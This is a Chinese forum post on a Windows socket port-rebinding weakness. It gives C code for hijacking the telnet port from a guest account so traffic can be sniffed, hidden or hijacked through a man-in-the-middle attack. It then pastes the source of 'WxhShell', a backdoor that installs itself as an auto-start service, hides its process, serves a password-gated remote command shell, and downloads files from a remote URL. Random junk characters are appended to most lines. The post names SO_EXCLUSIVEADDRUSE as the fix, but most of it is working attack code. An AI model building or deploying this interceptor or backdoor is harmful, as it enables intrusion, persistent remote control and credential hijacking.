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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kHr-UJ!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]CNPy$>*  
Y}BP ]#1  
  saddr.sin_family = AF_INET; xKE=$SV(  
~9o@1TO:v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _5S0A0  
KC}G_"f.$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gnZ#86sO  
J=Kv-@I>E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Mw,]Pt6~i  
s/@uGC0>  
  这意味着什么?意味着可以进行如下的攻击: @ ,oc%m  
3q`f|r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MD$W;rk(Hn  
mRAt5a#is  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N<SW $ o  
=XQGg`8<LB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {wM<i  
XE_Lz2H`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  EXeV @kg  
yg8= G vO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }JtcAuQt  
Z{vc6oj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u:J( 0re  
Vp; `!+z"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ">=Ep+ix  
to).PI?  
  #include mg:kVS  
  #include O1jiD_Y!9  
  #include #m{(aa9;  
  #include    C+t3a@&|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K?,? .!ev  
  int main() EG^ rh;  
  { #f(tzPD  
  WORD wVersionRequested; T\Xf0|y  
  DWORD ret; #xx.yn(7  
  WSADATA wsaData; T\.~!Q  
  BOOL val; +fY@q ,`  
  SOCKADDR_IN saddr; Kh4rl)L*+%  
  SOCKADDR_IN scaddr; #@-dT,t  
  int err; $W}:,]hoj  
  SOCKET s; JcYY*p  
  SOCKET sc; #QsJr_=  
  int caddsize; Hc8^w6S1@  
  HANDLE mt; 82 |^o  
  DWORD tid;   "Ia.$,k9  
  wVersionRequested = MAKEWORD( 2, 2 ); J#H,QYnf(L  
  err = WSAStartup( wVersionRequested, &wsaData ); yz0#0YG7  
  if ( err != 0 ) { g]h@U&`~u_  
  printf("error!WSAStartup failed!\n"); pvl];w  
  return -1; v$@1q9 5J  
  } -ewR:Y@j  
  saddr.sin_family = AF_INET; 2?LPr  
   shdzkET8N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 whe%o  
lE%KzX?&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H/`@6, j  
  saddr.sin_port = htons(23); A- m IWTa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3%r/w7Fc  
  { PUD8  
  printf("error!socket failed!\n"); ~pH!.|k-&  
  return -1; sa<\nH$_X  
  } ;~r-P$kCY  
  val = TRUE; 4sSw7`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _l] 0V g`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D]fgBW-  
  { .nEMd/pX  
  printf("error!setsockopt failed!\n"); Ar~<l2,{r  
  return -1; d]K8*a%[-  
  } ,Gbc4x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2A|mXWG}~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x(Uv>k~i}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #k/T\PQ0s  
}LS.bQKqi,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?`Mk$Y%my  
  { |Wck-+}U  
  ret=GetLastError(); ,_V/W'  
  printf("error!bind failed!\n"); z@ZI$.w  
  return -1; J"h2"$v,  
  } 7g Ou|t  
  listen(s,2); 1Hhr6T^)  
  while(1) 6yUThv.G#  
  { 4VvE(f  
  caddsize = sizeof(scaddr); Y5ei:r|^  
  //接受连接请求 cGo_qR/B(>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0FL'8!e<  
  if(sc!=INVALID_SOCKET) _d7;Z%  
  { v1+.-hO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h8M_Uk  
  if(mt==NULL) 9 4bDJy1  
  { 1NZpd'$c  
  printf("Thread Creat Failed!\n"); L~h:>I+pG  
  break; 7s%1?$B  
  } vMX\q  
  } ~ m vv :u  
  CloseHandle(mt); 3rZPVR$))  
  } GNwFB)?j  
  closesocket(s); /EQ^-4yr  
  WSACleanup(); !"/"Mqs3$  
  return 0; Zw4%L?   
  }   pHoxw|'Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) FeZWS>N  
  { )#4(4 @R h  
  SOCKET ss = (SOCKET)lpParam; jC:D>  
  SOCKET sc; N0$ uB"  
  unsigned char buf[4096]; z*b|N45O  
  SOCKADDR_IN saddr; wZCboQ,  
  long num; Fsq)co  
  DWORD val; opn6 C )  
  DWORD ret; k[pk R{e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q~iEw#0-L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `tT7&*Os  
  saddr.sin_family = AF_INET; l{?9R.L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |'o<w ]hc  
  saddr.sin_port = htons(23);   h)W#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o[JZ>nm  
  { O 1X)  
  printf("error!socket failed!\n"); *j<#5=l  
  return -1; U+ Yu_=o{  
  } 6 3PV R"  
  val = 100; 2|1CGHj\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `B8`<3k/(  
  { <jFov`^  
  ret = GetLastError(); ZF#lh]  
  return -1; e{4e<hd  
  } d6m&nj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ??#EG{{  
  { /18fpH|  
  ret = GetLastError(); 2RqV\Jik  
  return -1; XmVst*2=  
  } `z/ p,. u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N5#j}tT  
  { ,G?Kb#  
  printf("error!socket connect failed!\n"); P A*U\  
  closesocket(sc); Q>\DM'{:4  
  closesocket(ss); FW3E UC)P  
  return -1; i 8cmT+}>  
  } 'tQp&p j  
  while(1) e<A>??h^  
  { }43qpJe8U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vz:VegS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |yj0Rv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wwR}h I(  
  num = recv(ss,buf,4096,0); ]<%NX $9\  
  if(num>0) gd%Ho8,T  
  send(sc,buf,num,0); +g1+,?cU  
  else if(num==0) >#T?]5Z'MF  
  break; \Q|,0`  
  num = recv(sc,buf,4096,0); NYxL7:9  
  if(num>0) w!d(NA<|0]  
  send(ss,buf,num,0); !w!k0z]  
  else if(num==0) % bdBg  
  break; SuV3$-);z  
  } m^RO*n.  
  closesocket(ss); {SZv#MrK  
  closesocket(sc); vkYiO]y  
  return 0 ; g^=Ruh+  
  } Ya<V@qd  
,k@i Nid  
7''iT{-[p  
========================================================== c&<Ei1  
D^t: R?+  
下边附上一个代码,,WXhSHELL LZ(K{+U/  
'c/8|9jX  
========================================================== M3d%$q)<rW  
x FvK jO)  
#include "stdafx.h" dgByl-8Q  
8{&.[S C7  
#include <stdio.h> %l%2 hvGZ  
#include <string.h> ?d3<GhzlR3  
#include <windows.h> w&hCt c  
#include <winsock2.h> [%Z{Mp'g  
#include <winsvc.h> ?aB%h |VA  
#include <urlmon.h> }KftV nD?  
SFEDR?s   
#pragma comment (lib, "Ws2_32.lib") (A?w|/bZd  
#pragma comment (lib, "urlmon.lib") 0}:Wh&g  
k0b6X5  
#define MAX_USER   100 // 最大客户端连接数 uXA}" f2  
#define BUF_SOCK   200 // sock buffer S]e;p\8$Z  
#define KEY_BUFF   255 // 输入 buffer ( Y Z2&  
S,Qa\\~z  
#define REBOOT     0   // 重启 qsQTJlq)  
#define SHUTDOWN   1   // 关机 ][8`}ki 1  
pgv, Su  
#define DEF_PORT   5000 // 监听端口 cxPOO#  
x'Nc}  
#define REG_LEN     16   // 注册表键长度 RO[X #c  
#define SVC_LEN     80   // NT服务名长度 {?mb.~(  
QPFv]^s(  
// 从dll定义API BryD?/}P)M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J'&K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4^ 0CHy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !,J] 5$M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9m"EY@-  
! bwy/A  
// wxhshell配置信息 kexvE 3  
struct WSCFG { %?/vC 6  
  int ws_port;         // 监听端口 L?Ih;  
  char ws_passstr[REG_LEN]; // 口令 V72?E%d0  
  int ws_autoins;       // 安装标记, 1=yes 0=no #2*R0_b  
  char ws_regname[REG_LEN]; // 注册表键名 /p}pdXS  
  char ws_svcname[REG_LEN]; // 服务名 Wrm3U/>e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :hf%6N='kI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x97L>>|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W:}t%agis  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ATV|M[B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &!+1GI9z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <)L[V  
'RQEktm  
}; &EC8{.7  
4~vn%O6n  
// default Wxhshell configuration %Go/\g   
struct WSCFG wscfg={DEF_PORT, ],zp~yVU&  
    "xuhuanlingzhe", Q} -YD.bx3  
    1, TTo?BVBK  
    "Wxhshell",  {yxLL-5c  
    "Wxhshell", oy=ej+:  
            "WxhShell Service", +R 8dy  
    "Wrsky Windows CmdShell Service", m&MZn2u[4i  
    "Please Input Your Password: ", xaq/L:I<  
  1, Q:ql~qew  
  "http://www.wrsky.com/wxhshell.exe", }Os7[4 RW  
  "Wxhshell.exe" @JJ{\?>  
    }; Hm~.u.)\.  
G2=d q  
// 消息定义模块 4~d:@Gmk&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `0u)/s$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 530Kk<%^}8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ' 1dhdm8  
char *msg_ws_ext="\n\rExit."; c11;(  
char *msg_ws_end="\n\rQuit."; raMtTL+  
char *msg_ws_boot="\n\rReboot..."; 4Le{|B  
char *msg_ws_poff="\n\rShutdown..."; qzu(4*Gk6  
char *msg_ws_down="\n\rSave to "; |k: FNu]C  
Jg.^h1>x  
char *msg_ws_err="\n\rErr!"; [XP\WG>s  
char *msg_ws_ok="\n\rOK!"; gU@R   
Iqj?wI 1)  
char ExeFile[MAX_PATH]; D3+<16[,  
int nUser = 0; 2H~E~6G  
HANDLE handles[MAX_USER]; #1'p?%K.  
int OsIsNt; ^*,?x  
J8&0l&~ 6  
SERVICE_STATUS       serviceStatus; &~=d;llkT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LO%OH u}]  
_akpW  
// 函数声明 BMn`t@!x  
int Install(void); , LqfwA|  
int Uninstall(void); pA\"Xe&  
int DownloadFile(char *sURL, SOCKET wsh); @~i : 8  
int Boot(int flag); +a+DiD>./  
void HideProc(void); v#5hK<9  
int GetOsVer(void); 8'Q&FW3"  
int Wxhshell(SOCKET wsl); ji5Nq+S2  
void TalkWithClient(void *cs); $A98h -*x  
int CmdShell(SOCKET sock); Z v 7}C  
int StartFromService(void); ]-OF3+l4  
int StartWxhshell(LPSTR lpCmdLine); zpcO7AY~  
@|d`n\%x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IL%P\Zs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7v`~;}5  
4y,pzQ8a  
// 数据结构和表定义 U@}P]'`'f  
SERVICE_TABLE_ENTRY DispatchTable[] = `mS0]/AV/  
{ 7aHP;X~0  
{wscfg.ws_svcname, NTServiceMain}, )s ?Hkn  
{NULL, NULL} |tFg9RT  
}; ~#=70  
V'l9fj*E  
// 自我安装 "Q[?W( SA  
int Install(void) ;F /w&u.n  
{ }l5Q0'  
  char svExeFile[MAX_PATH]; ~yY5pnJ  
  HKEY key; {w v{"*Q9Q  
  strcpy(svExeFile,ExeFile); i~{0>"9  
85:mh\@-G  
// 如果是win9x系统,修改注册表设为自启动 suN}6C I  
if(!OsIsNt) { uLt31G()  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -]:1zU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r <2&_$|  
  RegCloseKey(key); ]OC?g2&6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O7f"8|=HX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *3y_FTh8ra  
  RegCloseKey(key); H<l0]-S{  
  return 0; <07~EP  
    } fTi5Ej*/?)  
  } }x"8v&3CM_  
} ZP<OyX?  
else { sGGi7 %  
cu4|!s`#  
// 如果是NT以上系统,安装为系统服务 3nx*M=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 58PL@H~@0  
if (schSCManager!=0) yDi'@Z9R?  
{ k.%FGn'fR  
  SC_HANDLE schService = CreateService ~01t_Xp qc  
  (  [4mIww%  
  schSCManager, Ro#O{  
  wscfg.ws_svcname, LUA<N:  
  wscfg.ws_svcdisp, yY80E[v  
  SERVICE_ALL_ACCESS, ]!WD">d:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7fW$jiw  
  SERVICE_AUTO_START, 9lqD~H.  
  SERVICE_ERROR_NORMAL, ]q|U0(q9  
  svExeFile, Htce<H-P  
  NULL, lh;;%@1DM  
  NULL, n7bML?f'  
  NULL, "]yfx@)_  
  NULL, IG4`f~k^  
  NULL (usPAslr  
  ); I:] Pd  
  if (schService!=0) -g4 {:!*D  
  { S"R(6:hkgu  
  CloseServiceHandle(schService); KY9@2JG  
  CloseServiceHandle(schSCManager); .:Zb~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }`_x%]EJ  
  strcat(svExeFile,wscfg.ws_svcname); gV-A+;u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Yi|Nd;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ne}x(uRn  
  RegCloseKey(key); h?vt6t9  
  return 0; bO }9/Ay  
    } |p*s:*TJp  
  } X>eFGCz}I  
  CloseServiceHandle(schSCManager); 0G8zFe*p  
} H|<Zm:.%$  
} bqQR";  
7Dz-xM_?  
return 1; E<tJ8&IGk  
} bDV/$@p  
gnw?Y 2  
// 自我卸载 "lKR~Qi  
int Uninstall(void) f<Y g_TG  
{ wU&vkb)k  
  HKEY key; Gi,4PD-ro  
DxG8`}+  
if(!OsIsNt) { Y".4."NX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :a)`iJnb  
  RegDeleteValue(key,wscfg.ws_regname); Jy-V\.N>s  
  RegCloseKey(key); 8LGNV&Edg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OJ<V<=MYZ  
  RegDeleteValue(key,wscfg.ws_regname); l'Uj"9r,  
  RegCloseKey(key); {\n?IGP?wd  
  return 0; uiaZ@  
  } P:m6:F@hO  
} N[sJ5oF  
} Rrp-SR?O  
else { A 7zL\U4  
nZ# 0L`@"Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _O`s;oc  
if (schSCManager!=0) ' -rRD\"q  
{ ]=(PtzVa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .\"8H1I\T  
  if (schService!=0) ?PU7xO;_  
  { .-cx9&  
  if(DeleteService(schService)!=0) { D8)6yPwE  
  CloseServiceHandle(schService); u X+ YH  
  CloseServiceHandle(schSCManager); 2:;;  
  return 0; "?s  
  } B[ r04YGh  
  CloseServiceHandle(schService); azl!#%  
  } vm8ER,IW)  
  CloseServiceHandle(schSCManager); S H6T\}X:  
} i: VMC NH  
} IkgRZ{Y  
x\K,@  
return 1; |6b&khAM  
} :[ll$5E.  
J{PNB{v  
// 从指定url下载文件 G@o\D-$  
int DownloadFile(char *sURL, SOCKET wsh) $)VnHr `hy  
{ uS5ADh  
  HRESULT hr; '_ FxxLAO  
char seps[]= "/"; r|Q/:UV?w  
char *token; 1krSX 2L  
char *file; :} DTK  
char myURL[MAX_PATH]; 4 Xe8j55  
char myFILE[MAX_PATH]; iB5'mb*  
%ZGG6Xgw  
strcpy(myURL,sURL); C\}M_MD  
  token=strtok(myURL,seps); f^G-ba  
  while(token!=NULL) 0G(|`xG1q  
  { *fQn!2}=(  
    file=token; +RyV"&v  
  token=strtok(NULL,seps); a[NR%Xq  
  } qzi i[Mf  
8T3Nz8Q7  
GetCurrentDirectory(MAX_PATH,myFILE); k;l^y%tzp  
strcat(myFILE, "\\"); LMI7Ih;  
strcat(myFILE, file); 5GDg_9Bz  
  send(wsh,myFILE,strlen(myFILE),0); %8?XOkH)  
send(wsh,"...",3,0); F+ <Z%KuCu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); > QG@P  
  if(hr==S_OK) xtzkgb,0[  
return 0; Ui`#B  
else >lF@M-  
return 1; ricL.[v9S  
) RNB;K~s9  
} ev1:0P  
rYrvd[/*&(  
// 系统电源模块 %g~zE a-g  
int Boot(int flag) lec3rv0)  
{ |*N;R+b  
  HANDLE hToken; YZ6" s-  
  TOKEN_PRIVILEGES tkp; mi@ni+2Tn  
L`"V_ "Q#0  
  if(OsIsNt) { T%SK";PAU$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u0nIr9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O[F  
    tkp.PrivilegeCount = 1; /&zlC{:G92  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RhkTN'vO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UD ;UdehC  
if(flag==REBOOT) { +IG=|X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %#E$wz  
  return 0; aq - |  
} xpBQ(6Y  
else { q$'[&&_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =-/sB>-C  
  return 0; ;3+_aoY  
} @x_0AkZU  
  } ]E#W[6'VtB  
  else { hpYW1kfQl  
if(flag==REBOOT) { "b\@.7".  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u4ZOHy_O^  
  return 0; 2W }j bOy  
} u=7 #_ZC9L  
else { piXL6V@c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #?'@?0<6  
  return 0;  ?Zc(Zy6  
} 3zMaHh)mj  
} )C0d*T0i  
J>1%* Tz  
return 1; C@u}tH )  
} Op:$7hv  
Bv#?.0Ez;  
// win9x进程隐藏模块 GIhFOK  
void HideProc(void) 'u6n,yRm  
{ a&u!KAQ  
z-h?Q4;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h;):TFiC  
  if ( hKernel != NULL ) L9d|7.b  
  { AYfL}X<Ig  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f9vitFkb+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g-4ab|F  
    FreeLibrary(hKernel); 'l_F@ZO{(  
  } 12tk$FcY8*  
f( <O~D  
return; W#\{[o  
} 9V>C %I  
>v )V2,P -  
// 获取操作系统版本 < Df2  
int GetOsVer(void) aI 1tG  
{ A0bR.*3  
  OSVERSIONINFO winfo; S84S/y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0{-?Wy  
  GetVersionEx(&winfo); #X2wy$GTG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `x;m@\R  
  return 1; c[Z#q*Q  
  else G|TnvZ KX  
  return 0; JH*fxG  
} 8Z3:jSgk  
K9 +\Z  
// 客户端句柄模块 @T J  
int Wxhshell(SOCKET wsl) >96+s)T%;  
{ l[[^]__  
  SOCKET wsh; X6xs@tgQ  
  struct sockaddr_in client; pUa\YO1J  
  DWORD myID; yatZ Al(B  
M5 ^qc  
  while(nUser<MAX_USER) Nw1Bn~yx<R  
{ `cPZsL  
  int nSize=sizeof(client); 8Yo;oHk7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MeV*]*   
  if(wsh==INVALID_SOCKET) return 1; B qLL]%F  
03"FK"2S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .@$ A~/ YU  
if(handles[nUser]==0) 6W:FT Pt44  
  closesocket(wsh); j1=su~  
else Hz%<V *\{  
  nUser++; r 5t{I2  
  } 4 RfBXVS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); = BbG2k  
>ByqM{?  
  return 0; aLlHR_  
} @WiTh'w0  
t<"%m)J  
// 关闭 socket w+a5/i@  
void CloseIt(SOCKET wsh) z L9:e7o  
{ PbFbi hg  
closesocket(wsh); Q 7\j:.  
nUser--; J0B*V0'zR  
ExitThread(0); N:~4>p44[  
} [3x},KM  
$F NH:r<  
// 客户端请求句柄 )Br#R:#  
void TalkWithClient(void *cs) |(CgX6 l3  
{ >=;hnLu  
`U&'71B^  
  SOCKET wsh=(SOCKET)cs; 1L?d/j  
  char pwd[SVC_LEN]; 3#y`6e=5  
  char cmd[KEY_BUFF]; #qv!1$}2  
char chr[1]; =Aw`0  
int i,j; 1DGl[k/zv  
*$Zy|&[Z  
  while (nUser < MAX_USER) { +O^}  t  
u?F.%j-  
if(wscfg.ws_passstr) { AnK X4Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ./^8L(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aU_l"+5>vq  
  //ZeroMemory(pwd,KEY_BUFF); CeM%?fr5  
      i=0; 2/\I/QkTs  
  while(i<SVC_LEN) { Mi\- 9-  
YFW/ Fa\7  
  // 设置超时 j8aH*K-l{  
  fd_set FdRead; h6n!"z8H  
  struct timeval TimeOut; ,<Wt8'e  
  FD_ZERO(&FdRead); y>7 r;e  
  FD_SET(wsh,&FdRead); p,!IPWo  
  TimeOut.tv_sec=8; q_98=fyE6  
  TimeOut.tv_usec=0; .{|SKhXk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *\cU}qjk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1 1(GCu  
r$Ni>[as  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C|[x],JCS  
  pwd=chr[0]; #Nad1C/]  
  if(chr[0]==0xd || chr[0]==0xa) { 1(RRjT 9  
  pwd=0; I:6XM?  
  break; eu":\ks  
  } Z?V vFEt%  
  i++; <PM.4B@  
    } z, FPhbFn  
1/&^~'  
  // 如果是非法用户,关闭 socket C ](djkA$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pG'?>]Rt4  
} 2EYWX! Bx  
Y*{5'q+2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ql9>i;AGV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o{QV'dgu  
6/T/A+u  
while(1) { P&<NcOCL&  
[j0jAl  
  ZeroMemory(cmd,KEY_BUFF); J8ScKMUN2  
@(+\*]?^&  
      // 自动支持客户端 telnet标准   \DWKG~r-%  
  j=0; )>"pm {g2  
  while(j<KEY_BUFF) { A/"2a55  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'St?nW3  
  cmd[j]=chr[0]; /Ak\Q5O'3  
  if(chr[0]==0xa || chr[0]==0xd) { <0? r# }  
  cmd[j]=0; *'tGi_2?(  
  break; ZkO2*;  
  } ?M6)O?[  
  j++; f( 5; Rf(  
    } esq~Ehr=  
BOP7@D  
  // 下载文件 YB!f=_8  
  if(strstr(cmd,"http://")) { W\ mgM2p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0)7v _|z  
  if(DownloadFile(cmd,wsh)) +5 gX6V\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fEiNHVx  
  else ] w0Y5H "  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {47Uu%XT  
  } s,kY12<7m  
  else { p=#/H ,2  
E9Dy)f]#W  
    switch(cmd[0]) { E7hs+Mh  
  _8-T?j**   
  // 帮助 /3 VO!V]u  
  case '?': { PgHmOs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qr7|;l3  
    break; ,4 q^(  
  } ~b0l?P*Ff  
  // 安装 f8V )nM+v"  
  case 'i': { 2J%L%6z8~  
    if(Install()) 2v;&`04V<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~4O3~Y_+GN  
    else hl] y):  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .726^2sx  
    break; ^)a:D KL  
    } 2(Yg',aMY-  
  // 卸载 )?$@cvf  
  case 'r': { AK%&Kq&PaY  
    if(Uninstall()) >[wB|V5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,?IXfJ`c  
    else G2 V$8lh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'o*\ N%  
    break; q/Ji}NGm  
    } QMmZvz\^  
  // 显示 wxhshell 所在路径 aBQ@n  
  case 'p': { bj0<A  
    char svExeFile[MAX_PATH]; 9j5|o([J  
    strcpy(svExeFile,"\n\r"); VS_\bIC  
      strcat(svExeFile,ExeFile); q?)5yukeF  
        send(wsh,svExeFile,strlen(svExeFile),0);  TU6YS<  
    break; aY;34SF  
    } "gzn%k[D9m  
  // 重启 <eP,/H  
  case 'b': { Uovna:"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3Zs0W{OxU  
    if(Boot(REBOOT)) X+<9 -]=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @g]+$Yj  
    else { \2#K {  
    closesocket(wsh); Pn4jI(  
    ExitThread(0); Z_<NUPE  
    } RlU?F  
    break; -*hPEgcV9  
